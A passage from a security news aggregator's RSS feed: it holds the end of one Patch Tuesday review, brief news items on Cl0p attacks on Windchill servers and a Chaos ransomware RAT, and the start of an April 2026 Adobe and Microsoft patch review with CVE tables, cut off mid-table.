all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cl0p Targets Internet-Exposed Windchill Servers in Global Engineering Data-Theft Campaign]]></title>
<description><![CDATA[Cl0p ransomware affiliates are actively exploiting internet-exposed PTC Windchill and FlexPLM deployments in a global data-theft campaign targeting high-value engineering environments. Observed post-exploitation activity includes filesystem enumeration via files such as “flst.txt,” followed by st...]]></description>
<link>https://tsecurity.de/de/3694555/hacking/cl0p-targets-internet-exposed-windchill-servers-in-global-engineering-data-theft-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694555/hacking/cl0p-targets-internet-exposed-windchill-servers-in-global-engineering-data-theft-campaign/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cl0p ransomware affiliates are actively exploiting internet-exposed PTC Windchill and FlexPLM deployments in a global data-theft campaign targeting high-value engineering environments. Observed post-exploitation activity includes filesystem enumeration via files such as “flst.txt,” followed by staging and exfiltration of sensitive engineering and product design data. This chaining enables unauthenticated remote code execution, allowing attackers to deploy […]</p>
<p>The post <a href="https://gbhackers.com/cl0p-targets-internet-exposed-windchill/">Cl0p Targets Internet-Exposed Windchill Servers in Global Engineering Data-Theft Campaign</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos ransomware deploys browser-based msaRAT to evade network detection]]></title>
<description><![CDATA[Cisco Talos uncovered msaRAT, a Chaos ransomware RAT that hides C2 traffic by routing it through Chrome or Edge using the Chrome DevTools Protocol. Cisco Talos disclosed msaRAT, a Rust-based remote access trojan attributed to the Chaos ransomware group that routes its entire command-and-control c...]]></description>
<link>https://tsecurity.de/de/3694547/hacking/chaos-ransomware-deploys-browser-based-msarat-to-evade-network-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694547/hacking/chaos-ransomware-deploys-browser-based-msarat-to-evade-network-detection/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:39 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cisco Talos uncovered msaRAT, a Chaos ransomware RAT that hides C2 traffic by routing it through Chrome or Edge using the Chrome DevTools Protocol. Cisco Talos disclosed msaRAT, a Rust-based remote access trojan attributed to the Chaos ransomware group that routes its entire command-and-control channel through the victim’s own Chrome or Edge browser. The malware […]]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
